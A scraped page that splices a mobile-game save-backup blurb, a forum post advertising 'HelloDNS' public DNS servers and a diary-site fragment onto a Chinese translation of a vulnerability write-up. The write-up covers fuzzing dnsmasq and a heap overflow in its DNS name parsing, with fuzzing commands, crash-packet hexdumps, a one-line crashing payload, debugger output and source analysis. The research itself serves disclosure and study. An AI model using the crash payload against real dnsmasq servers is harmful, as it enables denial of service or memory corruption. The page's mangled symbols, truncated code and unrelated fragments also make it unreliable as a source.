hello dnsdns 怎么用

Hello Kitty 咖啡厅 -...怎么备份
Hello Kitty 咖啡厅 -...
更新时间:
下载:795次
平台:Android
DNS DNS S4503Q Hello Kitty 咖啡厅 -...怎么备份
辛苦玩的游戏记录全没了,做好备份记录很重要。小编这就教大家怎么备份游戏存档。将游戏本身目录下的SAVE的文件夹复制到别的地方保存即可,有些游戏的SAVE文件夹也可能保存在C盘。
请选择品牌
请选择机型DNS S4503Q
小贴士:建议您想先设置机型,设置后您就直接浏览全部适合您手机的游戏,下载使用更放心。
九游()是手机游戏下载第一门户,提供最新DNSDNS DNS S4503Q下载、礼包、激活码,最好玩的Hello Kitty 咖啡厅 -...攻略,欢迎访问与玩家交流。
*Hello Kitty 咖啡厅- 假日篇 支持移动电话和平板电脑*
Hello Kitty 刚刚开设自己的咖啡厅,顾客们正从各地蜂涌而至!你可以在这款超可爱的「Hello Kitty 咖啡厅- 假日篇」游戏里,跟着Hello Kitty 一起体验咖啡厅的管理文化!
「Hello Kitty 咖啡厅- 假日篇」是一款免费且令人上瘾的时间管理游戏。你可以帮忙Hello Kitty经营咖啡厅,为顾客安排座位、为餐厅员工分派任务,并且管理与提升咖啡厅的各项设施。
咖啡厅陷入混乱!整间店由你掌控,看看你能不能赶上顾客的需求,让Hello Kitty的温馨小店成为镇上最棒的一间咖啡厅!测试你的速度和策略规划能力!你必须迅速且有条不紊地为所有顾客上菜,以免他们带着不满的情绪离开。如果你的咖啡厅持续提供美味的食物和优良的服务品质,一位神秘嘉宾可能会大驾光临!
患难之交...Hello Kitty永远可以信赖她那些可靠的好朋友。每当Hello Kitty无力招架顾客时,她的朋友都能伸出援手。你可以雇用Keroppi, My Melody, Badtz Maru, Pekke, P...
点击查看更多
您可能还想关注:
看了Hello Kitty 咖啡厅 -...怎么备份的用户还看了:
关于DNS DNS S4503Q
专区提供最新手机游戏免费下载。
DNS S4503Q的分辨率为540*960,是DNS生产的一款触屏手机。DNS DNS S4503Q手机用户可通过九游下载。查看: 1913|回复: 3
HelloDNS(公众DNS)智能加速畅游全球网站(打开谷歌不是梦)
阅读权限120
在线时间 小时
升级&&44.9%当前用户组为 程序设计师当前积分为 3898, 升到下一级还需要 1102 点。签到天数:3 天结帖率: (20/21)
本帖最后由 liu 于
09:13 编辑
可能大家都知道网站都是需要DNS解析才行的,有时候你打开某个网站的时候甚至会碰到DNS解析失败的情况。给大家送来了HelloDNS,HelloDNS是HelloVM推出的智能DNS解析服务,拥有云防护、无劫持、更精准等特性。HelloDNS.org –能够让你上网更加的快、更安全、更自由,能够自由的访问Google的各项服务并加速国外网站的访问、加速Origin下载!清洁、高效、智能的新一代公众DNS!智能加速海外网站访问,智能优化国内网站节点!HelloDNS是由专业云服务供应商HelloVM提供的智能公众DNS服务,能够有效加快各类网站的访问,并加速Facebook、Twitter、Google等国外网站访问,Origin等网站下载速度。无广告、无劫持,所有网站均解析到最快的官方服务器上,保障所有解析的数据安全。HelloDNS还能够支持edns-client-subnet,能够智能将请求发往最近、最为适合线路的节点,实现更快速的互联网访问。同时HelloDNS还能够有效得解决DNS劫持,解析更加的精准,加速Google的各项服务、Facebook、Twitter等网站访问,实现Onedrive、Origin、AppStore等服务的上传下载加速。这一切,只需修改DNS即刻实现了!DNS1: 123.56.46.123DNS2: 121.40.144.82DNS3: 182.254.185.148这是新一代可畅游Google的公众DNS!求好评!
傲游截图19.jpg (8.93 KB, 下载次数: 0)
09:08 上传
给力啊小伙子
感谢分享,很给力!~
阅读权限90
在线时间 小时
升级&&44.2%当前用户组为 程序制作者当前积分为 1884, 升到下一级还需要 1116 点。签到天数: 4 天
虽然知道了,但是还是支持下,这个DNS有些时候还是不稳定,看电视网络也比较卡
阅读权限120
在线时间 小时
升级&&74.15%当前用户组为 程序设计师当前积分为 4483, 升到下一级还需要 517 点。结帖率: (32/44)
沙发拿走。。
阅读权限120
在线时间 小时
升级&&44.9%当前用户组为 程序设计师当前积分为 3898, 升到下一级还需要 1102 点。签到天数: 3 天结帖率: (20/21)
TM截图未命名1.png (59.39 KB, 下载次数: 0)
09:11 上传
上传一张效果图
TM截图未命名.png (114.01 KB, 下载次数: 0)
09:11 上传
精易论坛 - 有你更精彩 /1
全方位无死角剖析post技术知识点,分享多年项目分析经验,直击重点、难点,以实例的方式传授方法/思路/技巧。。
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
揭阳精易科技有限公司申明:我公司所有的培训课程版权归精易所有,任何人以任何方式翻录、盗版、破解本站培训课程,我们必将通过法律途径解决!
公司简介:揭阳市揭东区精易科技有限公司致力于易语言教学培训/易语言学习交流社区的建设与软件开发,多年来为中小企业编写过许许多多各式软件,并把多年积累的开发经验逐步录制成视频课程供学员学习,让学员全面系统化学习易语言编程,少走弯路,减少对相关技术的研究与摸索时间,从而加快了学习进度!
Powered by未名交友 - iamdns,女/24,hello...
iamdns的日记网址:iamdns.&
iamdns 的日记
&|&&|&&|&&
123456789101112
<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=<option value=2016
&评论于 22:04:03
第1-0,共0篇日记[首页][上页][下页][末页]
第1-0,共0篇日记[首页][上页][下页][末页]
& Unknown Space , since 1996
北京市公安局海淀分局备案编号:如果你认识我,那么你应该知道
。虽然我不能完全确定这到底是怎么发生的,但我怀疑
Ed Skoudis
是始作俑者之一。
无论如何,如果一个可以进行评估dnsmasq和一些基础设施中的关键部分,那么这个项目一点非常有趣。现在,通过一些新方法使用fuzzing,我发现了一个几乎可以完全被利用的漏洞。
尽管我已经开始写exp了,但我没有完成它。我认为这个漏洞是肯定可以被利用的,如果你有时间想了解漏洞是如何利用的,那么它值得你继续往下看。 这个链接 是受到威胁的Dnsmasq版本,我会在后文讲述我的工作。
同时你可以下载 我分支的项目 ,这同样是一个易受到攻击的版本(我从官方分支下来的),唯一的区别在于它包含一些fuzzing的代码和debug的输出。
不知道dnsmasq的请看这里, dnsmasq 是一个为让你同时运行多种不同协议(比如:DNS、DHCP、DHCP6和TFTP等等协议)而设计的一种服务。这里我们只关注DNS(因为我测试了其他协议没有发现什么问题),当说到fuzzing时,缺少证据并不等同于证据缺失。dnsmasq几乎是由Simon Kelley一个作者独立完成的,而在此之前dnsmasq几乎没有被发现存在漏洞过,这也许是件好事(作者代码写的完美),也许是件坏事(没人关注):)
如论如何,作者还是还是令人印象深刻的,下面我整理了一个时间线
将漏洞报告给了作者
作者提交了一个候选补丁
补丁正是提交
这个漏洞的修复速度大大超出了我的想象。
DNS重要的部分
这个漏洞存在于NDS域名解析的代码中,所以下面值得花些时间来仔细讲解下DNS协议。当然如果你已经熟悉了DNS数据包结构和域名解析的流程,那么你可以跳过这一章。
请注意,我只会讲解这个漏洞所涉及到的DNS协议部分,这意味着我不会讲完整个DNS协议。如果你想了解完整的DNS协议,那么建议你查看RFCs(rfc1035)或者查看维基百科。我建议大家能够学习自己构造一个DNS请求包发给DNS,因为这是一个值得掌握的技能,而且也仅仅只需要记住16个bit而已:)
DNS就其核心来说其实很简单。一台想要查看一个主机名,他就向服务器发送一个包含DNS请求的询问包(通常使用UDP端口号53,但是同样可以使用TCP协议),这时神奇的事情发生了,服务器根据缓存或者递归查询到的结果返回给客户端一个包含零个或多个DNS解析结果的应答包。
DNS包结构(DNS packet structure)
DNS包的组成结果如下:
(int16)ID号(trn_id)
(int16)标识(包括QR[查询/相应],Opcode,RD[期望递归],RA[支持递归]和其他一些我忘了的部分)
(int16)问题计数(qdcount)
(int16)应答计数(ancount)
(int16)授权计数(nscount)
(int16)附加计数(arcount)
(variable)询问(questions)
(variable)应答(answers)
(variable)授权(authorities)
(variable)附加(additionals)
(译者附图如下)
后面四个部分-询问,应答,授权和附加-被统称为“资源记录(resource records)”。不同类型的的资源记录有不同的属性,但我们不用去纠结这个,一个一般的问题记录格式如下:
(variable) 名字(最重要的部分)
(int16) 类型(A/AAAA/CNAME等等)
(int16) 分类(对于公网地址总是为0x0001)
NDS名字(DNS names)
询问和应答包通常包含一个域名(domain name)。一个域名通常为如下形式:
this.is.a.name.skullseclabs.org
但是在资源记录包中,每一个字段前都标有自己的长度,以零标识结尾:
\x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00
其中每个字段最大的长度为63(0x3f)bytes。如果字段以0&40, 0&80, 0xc0和其他一些值,则他们有特殊的意义(我们一会会见到)。
询问和应答(Questions and answers)
当我们想DNS服务器发送一个DNS查询时,DNS询问包的结构通常如下:
question count = 1
question 1: ANY record for skullsecurity.org?
而应答包的结构通常如下:
question count = 1
answer count = 11
question 1: ANY record for &skullsecurity.org&?
answer 1: &skullsecurity.org& has a TXT record of &oh hai NSA&
answer 2: &skullsecurity.org& has a MX record for &ASPMX.L..com&.
answer 3: &skullsecurity.org& has a A record for &206.220.196.59&
(以上来自真实的记录)
如果你数学不错的话,你应该发现了&skullsecurity.org& 占了18个字节,同时我们得到了11个应答结果,这意味着我们浪费了18*11近200个字节。在以前,200个字节可不是小数,放到现在,当我们处理数以万计的询问请求时200个字节依旧还是有些大。
记录指针(Record pointers)
还记得上面说的DNS名字中每个字段起始值不能超过63(0x3f)吧,那么特殊的值呢?我们来关注下0xc0这个值。
0xc0代表“下一个比特是一个指针,在相对于包的起始位置的一个偏移处有一个名字”
通常你会见到如下:
12比特的头部(trn_id + flags + counts)
question 1: ANY record for &skullsecurity.org&
answer 1: \xc0\x0c has a TXT record of &oh hai NSA&
answer 2: \xc0\x0c ...
&\xc0&表示后面是一个指针,&\x0c&表示相对于包的起始位置0x0c(12)比特处,注意是从头部后开始算起的。同样的你也可以将它视为域名的一部分,这样你的应答可以是&\x03www\xc0\x0c&,同样也可以变为&www.skullsecurity.org&(假设这个从12个比特起始) 。
无论是客户端还是服务器端都很常见的一个DNS解析问题是如何应对无限循环攻击(infinite loop attack)。一般的攻击包结果如下:
12比特头部
question 1: ANY record for &\xc0\x0c&
因为question 1是一个自我参照(self-referential),他不停的查询着自己的名字而这个名字却从未完成解析过。dnsmasq通过限制参照最多256次来解决这个问题,这种设定可以防止拒绝服务攻击,但也埋下了一个可以被利用的漏洞:)
现在我们都是DNS的专家了,对吗?很好,因为下面我们要自己手动构造一个DNS包。
在我们开始讲解漏洞前,我想讲下我是如何配置fuzzing的。作为一个网络应用,我们需要进行网络测试,这里我非常想尝试使用 afl-fuzz 和 lcamtuf 这两个基于文件格式的测试工具。
afl-fuzz是一个非常智能的文件格式测试工具,通过对可(无论特别编译过还是使用分析)进行一系列特殊操作,根据每次操作的结果来决定是否命中了新的代码(new code)。afl-fuzz通过优化每次循环来尽力寻找到所有的新代码的路径,这相当不错。
但是很不幸,DNS不使用文件,而是使用数据包。但是因为客户端和服务器端同一时刻内只能处理一个数据包,所以我决定修改dnsmasq使得它每次从文件中读取一个数据包,进行解析(包括询问和应答),然后结束退出。这样我就能使用afl-fuzz进行测试了。
很不幸,这项工作非常的繁琐。解析代码和网络代码是混合在一起的,我重构了&recv_msg()& 和&recv_from()&,还修改了其他相关的函数调用。当然这些都通过可以使用LD_PRELOAD钩子完成,因为我手里有源码就不用这么做了。如果你想重现,那么请跟随以下命令(我是在64位上完成的,但我不明白为什么它不能再其他平台完成):
$ git clone /iagox86/dnsmasq-fuzzing
Cloning into 'dnsmasq-fuzzing'...
$ cd dnsmasq-fuzzing/
$ CFLAGS=-DFUZZ make -j10
$ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
dnsmasq: started,
cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
dnsmasq: reading /etc/resolv.conf
Segmentation fault
警告:DNS是递归的,在修改中我没有禁止递归请求。这意味着dnsmasq会于上游的DNS服务器进行通信,而我们的操作可能影响到这些上游DNS服务器(事实上我测试时已经出现了事故,但我们后面不会涉及这块)
真正开始模糊测试
一旦你开始让进行模糊测试,那么模糊测试就变的非常简单了。
首先,我们需要一个DNS询问包和应答包,这样我们就能测试客户端和服务器。
如果你不想像我一样浪费时间,那么你可以自己构造一个询问包发给服务器,然后记录下应答包:
$ mkdir -p fuzzing/client/input/
$ mkdir -p fuzzing/client/output/
$ echo -ne &\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01& & fuzzing/client/input/request.bin
$ mkdir -p fuzzing/server/input/
$ mkdir -p fuzzing/server/output/
$ cat request.bin | nc -vv -u 8.8.8.8 53 & fuzzing/server/input/response.bin
如果你好奇那么我们就来分析包的结构:
&\x12\x34& - trn_id - 仅仅是个随机数
&\x01\x00& - flags - 说明flag中的RD是递归查询
&\x00\x01& - qdcount = 1
&\x00\x00& - ancount = 0
&\x00\x00& - nscount = 0
&\x00\x00& - arcount = 0
&\x06google\x03com\x00& - name = &&
&\x00\x01& - type = A
&\x00\x01& - ()
你可以通过使用hexdump验证相应包:
$ hexdump -C response.bin
34 81 80 00 01 00 0b
00 00 00 00 06 67 6f 6f
|.4...........goo|
6c 65 03 63 6f 6d 00
00 01 00 01 c0 0c 00 01
|.........|
01 00 00 01 2b 00 04
ad c2 21 67 c0 0c 00 01
|.....+....!g....|
01 00 00 01 2b 00 04
ad c2 21 66 c0 0c 00 01
|.....+....!f....|
01 00 00 01 2b 00 04
ad c2 21 69 c0 0c 00 01
|.....+....!i....|
01 00 00 01 2b 00 04
ad c2 21 68 c0 0c 00 01
|.....+....!h....|
01 00 00 01 2b 00 04
ad c2 21 63 c0 0c 00 01
|.....+....!c....|
01 00 00 01 2b 00 04
ad c2 21 61 c0 0c 00 01
|.....+....!a....|
01 00 00 01 2b 00 04
ad c2 21 6e c0 0c 00 01
|.....+....!n....|
01 00 00 01 2b 00 04
ad c2 21 64 c0 0c 00 01
|.....+....!d....|
00 01 00 00 01 2b 00 04
ad c2 21 60 c0 0c 00 01
|.....+....!`....|
00 01 00 00 01 2b 00 04
ad c2 21 65 c0 0c 00 01
|.....+....!e....|
00 01 00 00 01 2b 00 04
ad c2 21 62
|.....+....!b|
留意包是以 &\x12\x34& 起始的(我需要发送同样的trn_id),其中询问计数为1,应答计数为0x0b(11),包含12个比特的&\x06google\x03com\x00&。了解这些会使理解后面的内容更加容易。但是最重要的部分还在于&\xc0\x0c&这。事实上,每一个应答都是从&\xc0\x0c&起始的,因为每一个应答都是指向第一个的,这也是唯一的问题。
正如我之前数的,11个应答内容全部为&\xc0\x0c&总共10比特,这样整个包只有110比特比其他的包都要小。
现在我们有了客户端和服务器的基本状态了,可以使用afl-fuzz编译二进制了。显然,这条命令都假设afl-fuzz在&~/tools/afl-1.77b&下(如果需要请自行修改路径)。如果你尝试编译的话,命令行是不支持 CC=或者 CFLAGS=的,除非你先设置 路径 。
这是编译的命令:
$ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20
然后开始模糊测试:
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@
我们可以再另一个窗口同时进行服务器端的测试:
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@
现在就让它慢慢测试去吧,可能需要几小时或者一晚上。
出于好玩,我同时运行了第三个实例:
$ mkdir -p fuzzing/hello/input
$ echo &hello& & fuzzing/hello/input/hello.bin
$ mkdir -p fuzzing/hello/output
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@
这个嘛…就是发送&hello&而不是真实DNS包,然后找到一个包的数量级使得程序更容易崩溃。
模糊测试结果
运行了一个通宵后,早上(运行了近20小时)结果出来了:
7个崩溃,来自封装完好的询问包
10个崩溃,来自封装完好的应答包
93个崩溃,来自&hello&
如果你想,你可以下载我的 实验结果 。
尽管我们有超过100多个崩溃,但是我们发现都是由同一个核心问题导致的。如果不知道,那么我们需要选取一些样本来分析。发送一个封装完好的询问包和发送一个&hello&包之间的差别是非常明显的,使用以&hello&为PoC我们得到:
crashes $ hexdump -C id\:000024\,sig\:11\,src\:399\,op\:splice\,rep\:16
00 00 00 00 01 00 02
e8 1f ec 13 07 06 e9 01
|h...............|
02 e8 1f c0 c0 c0 c0
c0 c0 c0 c0 c0 c0 c0 c0
|g...............|
c0 c0 c0 c0 c0 c0 c0 c0
c0 c0 c0 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 c0 c0 c0 c0
c0 c0 b8 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 c0 c0 c0 c0
c0 c0 c0 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 c0 c0 c0 c0
c0 af c0 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 cc 1c 03 10
c0 01 00 00 02 67 02 e8
|.............g..|
f eb ed 07 06 e9 01 67
02 e8 1f 2e 2e 10 2e 2e
|.......g........|
07 2e 2e 2e 2e 00 07
01 02 07 02 02 02 07 06
|................|
00 00 00 7e bd 02 e8
1f ec 07 07 01 02 07 02
|....~...........|
02 02 07 06 00 00 00 00
02 64 02 e8 1f ec 07 07
|.........d......|
06 ff 07 9c 06 49 2e 2e
2e 2e 00 07 01 02 07 02
|.....I..........|
02 02 05 05 e7 02 02 02
e8 03 02 02 02 02 80 c0
|................|
c0 c0 c0 c0 c0 c0 c0 c0
c0 80 1c 03 10 80 e6 c0
|................|
c0 c0 c0 c0 c0 c0 c0 c0
c0 c0 c0 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 c0 c0 b8 c0
c0 c0 c0 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 c0 c0 c0 c0
c0 c0 c0 c0 c0 c0 c0 c0
|................|
c0 c0 c0 c0 c0 af c0 c0
c0 c0 c0 c0 c0 c0 c0 c0
|................|
cc 1c 03 10 c0 01 00 00
02 67 02 e8 1f eb ed 07
|.........g......|
95 02 02 02 05 e7 02
02 10 02 02 02 02 02 00
|................|
80 03 02 02 02 f0 7f
c7 00 80 1c 03 10 80 e6
|................|
95 02 02 02 05 e7 67
02 02 02 02 02 02 02 00
|.......g........|
或者如果我们以最小代价运行afl-tmin
30 00 30 00 01 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 c0 c0 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
05 30 30 30 30 30 c0 c0
(注意末尾处的0xc0 – 呵呵我们的老朋友 – 最后算出&\xc0\x0c&,这个最简单的示例,却会出现更加复杂的情况)
下面是四个从有效询问包出发发出的崩溃信息:
crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
34 01 00 00 01 00 00
00 00 00 00 06 67 6f 6f
|.4...........goo|
6c 65 03 63 6f 6d c0
0c 01 00 01
crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
34 08 00 00 01 00 00
e1 00 00 00 06 67 6f 6f
|.4...........goo|
6c 65 03 63 6f 6d c0
0c 01 00 01
crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
34 01 00 eb 00 00 00
00 00 00 00 06 67 6f 6f
|.4...........goo|
6c 65 03 63 6f 6d c0
0c 01 00 01
crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
34 01 00 00 01 01 00
00 00 10 00 06 67 6f 6f
|.4...........goo|
6c 65 03 63 6f 6d c0
0c 00 00 00 00 00 06 67
|........g|
f 6f 67 6c 65 03 63 6f
6d c0 00 01 00 01
前三个崩溃信息非常有趣,因为他们非常相似。他们的区别仅仅在于flags(0&0)和计数区域(第一个是没有改动,第二个是0xe100&authority&,第三个是0xeb00&question&)不同。但是我猜测这并不影响我们的结果,因为它们是随机的。
另外请留意在每个消息的末尾,我们又看见了老朋友&\xc0\x0c&。
我们对第一个在运行一次afl-tmin以获取更加严谨的信息。
30 30 30 30 30 30 30
30 30 30 30 06 30 6f 30
30 30 03 30 30 30 c0
|000.000..|
跟预想的一样,询问和应答计数的值并没有影响。所有的情况都出现在域名长度和&\xc0\x0c&处。奇怪的是,它包含来自中的&o&,这也许是一个bug(我的模糊测试工具有些问题,因为我们的询问请求会发向互联网,而收到的应答并不总是一样的)。
现在我们有了一个合适的PoC了,让我们在调试器中检查它吧:
$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
Reading symbols from ./dnsmasq...done.
Unable to determine compiler version.
Skipping loading of libstdc++ pretty-printers for now.
Program received signal SIGSEGV, Segmentation fault.
__strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.
它在strcpy中崩溃了,这很有趣,让我们一起来看看崩溃的那一行
(gdb) x/i $rip
=& 0x7ffff73cc600 &__strcpy_sse2+192&:
BYTE PTR [rdx],al
(gdb) print/x $rdx
哦,一个空指针被写入,看起来很没劲。
老实说,当我到这时就没劲了。空指针的引用必须被修复,尤其是空指针很可能藏着其他bugs,但是并没有出现我想要的状态,所以我必须修复它或者处理上百个崩溃信息。
如果我们在多看一下数据包的话,它的解析基本上是&\x06AAAAAA\x03AAA\xc0\x0c& (这里将'0'改为'A'是为了方便识别)。 &\xc0\x0c&表示从包头开始第12个字节是一个指针。当一轮解析过后,它会变为&\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c&。但是当再次到达&\xc0\x0c& 时就会回到原点。基本上,是在域名解析中出现了无限循环。
那么,很明显一个自我引用会导致这样的问题出现,但是为什么呢?
我追踪了0xc0处操作的代码,其位于rfc1035.c文件中:
if (label_type == 0xc0) /* pointer */
if (!CHECK_LEN(header, p, plen, 1))
/* get offset */
l = (l&0x3f) && 8;
l |= *p++;
if (!p1) /* first jump, save location to go back to */
hops++; /* break malicious infinite loops */
if (hops & 255)
printf(&Too many hops!\n&);
printf(&Returning: [%d] %s\n&, ((uint64_t)cp) - ((uint64_t)name), name);
p = l + (unsigned char *)
乍看之下这段代码挺完美的没有什么问题(代码中的printf()函数都是我添加的中没有)。如果这里没有问题的话,那么其他唯一涉及到的就是域名的解析部分了(就是前面没有0&40/0xc0等等特殊标识的),下面是它的代码:
namelen +=
if (namelen+1 &= MAXDNAME)
printf(&namelen is too long!\n&); /* &-- This is what triggers. */
printf(&Returning: [%d] %s\n&, ((uint64_t)cp) - ((uint64_t)name), name);
if (!CHECK_LEN(header, p, plen, l))
printf(&CHECK_LEN failed!\n&);
for(j=0; j&l; j++, p++)
unsigned char c = *p;
if (c != 0 && c != '.')
*cp++ = '.';
这段代码要求每个字段前的值必须小于64(例如&google&和&com&)
开始时,l是字段的长度(例如&google&就是6)。在加上当前TOTAL的长度namelen,然后在检查这个这个值是否过长,这就是防止缓冲区溢出的方法。
之后每次都会读取l个比特并复制到缓冲区cp里,这些都发生在一个堆内。这里通过检查namelen来防止溢出。
这里每个周期都会向缓冲区存入,但是namelen值却没有增加
发现问题了没?每个周期缓冲区的总长度增加l,但是却读入了l+1个比特。
事实证明,我们可以通过控制子串的长度和大小来使其溢出从而得到很多的控制权。最简单的利用就是\x08AAAAAAAA\xc0\x0c:
$ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' & crash.bin
$ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
Segmentation fault
然而这里有两个终止条件:它仅仅只会换循环255次,同时当namelen的长度达到1024比特。所以我们想尽可能去平衡覆盖内容还是有些麻烦的,这里可能需要一些微积分的(如果你是一个,这里有一个 优化程序 。
我们来继续说&\xc0\x0c&造成的原因在于不可能存在一个1024比特的域名字符,因为超长了过不了检测。&\xc0\x0c&让我们一遍又一遍的重复,就像不停的解压一个小字符串到内存中,最终溢出了。
我之前说过空指针的引用:
(gdb) x/i $rip
=& 0x7ffff73cc600 &__strcpy_sse2+192&:
BYTE PTR [rdx],al
(gdb) print/x $rdx
我们使用新建的.bin文件再来重复一次崩溃,使用&\x08AAAAAAAA\xc0\x0c&作为payload:
$ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' & crash.bin
$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
(gdb) x/i $rip
=& 0x449998 &answer_request+1064&:
DWORD PTR [rdx+0x20],0x0
(gdb) print/x $rdx
$1 = 0x14141
额?这里不是一个空指针的引用!这是将一个空字节随意写入了内存,这里可能可以利用。
就像之前说的,这里存在一个堆栈溢出。有趣的是,当程序开始后,堆栈地址只分配一次,由一个全局变量(daemon)管理。这意味着我们可以操作这个变量,至少可以操作前几百个字节:
extern struct daemon {
/* datastuctures representing the -line and.
config file arguments. All set (including defaults)
in option.c */
unsigned int options, options2;
struct resolvc default_resolv, *resolv_
time_t last_
char *servers_
struct mx_srv_record *
struct naptr *
struct txt_record *txt, *
struct ptr_record *
struct host_record *host_records, *host_records_
struct cname *
struct auth_zone *auth_
struct _name *int_
int addr4_
int addr6_
char *lease_.
char *username, *groupname, *
char *authserver, *
struct iname *
struct name_list *secondary_forward_
int group_set,
char *domain_
struct cond_domain *cond_domain, *synth_
char *lease_change_
struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_
struct bogus_addr *bogus_addr, *ignore_
struct server *
struct ipsets *
int log_ /* log facility */
char *log_ /* optional log file */
/* queue limit */
int cachesize,
int port, query_port, min_
unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_
struct hostsfile *addn_
struct dhcp_context *dhcp, *dhcp6;
struct ra_interface *ra_
struct dhcp_config *dhcp_
struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
struct dhcp_vendor *dhcp_
struct dhcp_mac *dhcp_
struct dhcp_boot *boot_
struct pxe_service *pxe_
struct tag_if *tag_.
struct addr_list *override_
struct dhcp_relay *relay4, *relay6;
int enable_
int doing_ra, doing_dhcp6;
struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_.
struct dhcp_netid_list *force_broadcast, *bootp_
struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_
int dhcp_max, tftp_
int dhcp_server_port, dhcp_client_
int start_tftp_port, end_tftp_.
unsigned int min_
struct doctor *
unsigned short edns_
char *tftp_.
struct tftp_prefix *if_ /* per-interface TFTP prefixes */
unsigned int duid_enterprise, duid_config_
unsigned char *duid_
char *dbus_
unsigned long soa_sn, soa_refresh, soa_retry, soa_
#ifdef OPTION6_PREFIX_CLASS.
struct prefix_class *prefix_
#ifdef HAVE_DNSSEC
struct ds_config *
char *timestamp_
/* globally used stuff for DNS */
char * /* packet buffer */
int packet_buff_ /* size of above */
char * /* MAXDNAME size buffer */
#ifdef HAVE_DNSSEC
char * /* MAXDNAME size buffer */
char * /* ditto */
unsigned int local_answer, queries_forwarded, auth_
struct frec *frec_
struct serverfd *
struct irec *
struct listener *
struct server *last_
struct server *srv_ /* Used for resend on DoD */
size_t packet_
struct randfd *rfd_ /*
pid_t tcp_pids[MAX_PROCS];
struct randfd randomsocks[RANDOM_SOCKS];
struct addrlist *interface_ /* list of all addresses/prefix lengths associated with all local interfaces */
int log_id, log_display_ /* ids of transactions for logging */
union mysockaddr *log_source_
/* DHCP state */
int dhcpfd, helperfd,.
#ifdef HAVE_INOTIFY
#if defined(HAVE_LINUX_)
#elif defined(HAVE_BSD_NETWORK)
int dhcp_raw_fd, dhcp_icmp_fd,
struct iovec dhcp_
char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
struct ping_result *ping_
FILE *lease_
struct dhcp_bridge *
#ifdef HAVE_DHCP6
unsigned char *
int dhcp6fd, icmp6
/* DBus stuff */
/* void * here to avoid depending on dbus headers outside dbus.c */
#ifdef HAVE_DBUS
struct watch *
/* TFTP stuff */
struct tftp_transfer *tftp_trans, *tftp_done_
/* utility string buffer, hold max sized IP address as string */
char *addrbuff2; /* only allocated when OPT_EXTRALOG */
我不清楚到底这个结构体能写入多少,但是我们至少肯定能向1024个字节的缓冲区写入1368个字节,所以有前300比特的代码是可以被利用的。
我们前面所说的&空指针引用&和&将一个空字节随意写入了内存&都是因为有变量被之后使用的这个结构体覆盖了。
补丁很简单,每个循环的时候将namelen+1。
我很担心这种创建一个字符串然后之后跟踪它长度的方法,这是一种非常危险的设计方法。
我已经写好了利用代码。在我放弃前,我基本找到了一种暴力创建字符串的方法可以覆盖随机内存位置。这是一个非常困难的工作,因为你需要判断相当多的事情(字符串前填充部分和重复字段的大小)。最终证明,在1024比特的缓冲区中最大能放入1368比特以达到效果。
示例代码可以从 这里 下载到。
最后做一个总结:
我修改了dnsmasq使它每次从一个文件中读取数据包,然后使用afl-fuzz进行测试
